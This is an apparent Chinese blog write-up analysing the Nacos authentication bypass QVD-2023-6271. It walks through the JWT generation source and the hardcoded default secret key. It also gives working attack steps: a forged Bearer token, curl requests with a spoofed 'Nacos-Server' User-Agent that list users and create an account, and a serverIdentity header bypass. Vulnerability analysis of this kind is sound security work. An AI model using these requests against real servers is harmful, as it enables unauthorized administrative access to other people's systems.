环境搭建麻了,本来搭建好了,但是没关虚拟机直接合上电脑,再回来就各种报错,***
# Nacos 身份认证绕过漏洞分析 (QVD-2023-6271)
# 远程调试环境搭建
在 startup.sh 加上远程调试的参数
JAVA_OPT="${JAVA_OPT} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
这里建议使用 jdk8 新一点的版本,我这里是最新的
然后 - Xmx 给大一些,我这里给的 2048,避免虚拟内存不足,否则也有可能会报错
然后直接机上 - m standalone 单机启动即可
# 受影响版本
0.1.0 <= Nacos <= 2.2.0
# 漏洞原理
目前 Nacos 身份认证绕过漏洞 (QVD-2023-6271),开源服务管理平台 Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
来看下官方修复的版本 (2.2.0.1)
Release 2.2.0.1 (March 2nd, 2023) · alibaba/nacos (github.com)
将硬编码写在源码里的秘钥注释掉了
# 源码分析
关于漏洞,CISCN 初赛就打过,也不做过多解释,直接上手来看源码
直接定位到 JwtToken 的产生逻辑这里
com.alibaba.nacos.plugin.auth.impl.JwtTokenManager
首先是 processProperties 方法
1 | private void processProperties() { |
这里直接获取 SecretKey
1 | String encodedSecretKey = EnvUtil.getProperty("nacos.core.auth.plugin.nacos.token.secret.key", ""); |
也就是配置文件下的
然后通过时间戳来生成,当前时间 + 有效时间,其实也就是 Token 到期的时间
这里的时间是 CST (北美中部标准时间)
那再来看下使用到这一部分代码的登录逻辑
这里直接由 jwtTokenManager 生成相应的值赋给 token
并添加到 HTTP 头中
然后是 authManager,会对 Token 做出合法性判断,不为空且 Bearer 为开头的直接返回第 7 个字符之后的内容,也就是 eyJ… 的 JWT 内容
否则就会切请求包中的对应参数加载
然后再 return Token
处理好 Token 后就进入到当前验证类的 login 方法,这里调用 validate0 来检验 Token
将用户的用户名和识别 ID 存储
上面的操作无误后回到 Controller 层的 user 控制器下
将上面的内容进行汇总
也即将 Token,username,关于这里的 globalAdmin 可以看 https://github.com/alibaba/nacos/issues/5969
最后的 doInvoke 执行以上所有的内容
上面大致走了一下流程,了解了 jwt 的生成逻辑和校验规则,那下面就可以开始伪造了
这里忘记写了一点,关于令牌的有效期,也即生成令牌后多久失效的时间值,在配置文件中
就是 18000 秒,但是还要做单位换算,因为获取当前时间戳的单位就是毫秒
直接 cvJwtTokenManager 的代码
1 |
|
1 | Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5Nzg5MzkyMn0.O575SLIgoYMLpwHgJwqTCP08dZ93JvNjipsEOIqU6Hc |
获取到用户信息
后续关于打开鉴权还是同样存在绕过鉴权的漏洞
https://github.com/alibaba/nacos/issues/4593
这里只要匹配到 UserAgent 为 Nacos-Server
就直接调用 chain.doFilter (request, response);
熟悉过滤器的都清楚,Filter 过滤器处理完相应的逻辑后会去调用到 FilterChain 的 doFilter,再由 FilterChain.doFilter 去调用到 service 方法
这里直接调用了 chain.doFilter (request, response); 也就意味着没有后续的鉴权操作了,而是直接交给 Service 层了
# 漏洞影响范围
1、2.0.0-ALPHA.1
2、1.x.x
访问用户列表接口
1 | curl XGET 'http://192.168.230.130:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server' |
添加新用户
1 | curl -XPOST 'http://192.168.230.130:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server' |
再次访问刚才的接口就可以看到新用户了
另一种 bypass
跟进下面的 else
在配置中写了 key 和 value
在 header 头添加
1 | serverIdentity: security |
也同样可以达到效果
也可以探测版本
ip/nacos/v1/console/server/state
然后就是比较熟悉的 payload
1 | 读取用户账号密码: |
默认启动是不开启鉴权的
用户也可以开启后修改对应的 key 和 value 来提高安全性
https://nacos.io/zh-cn/blog/announcement-token-secret-key.html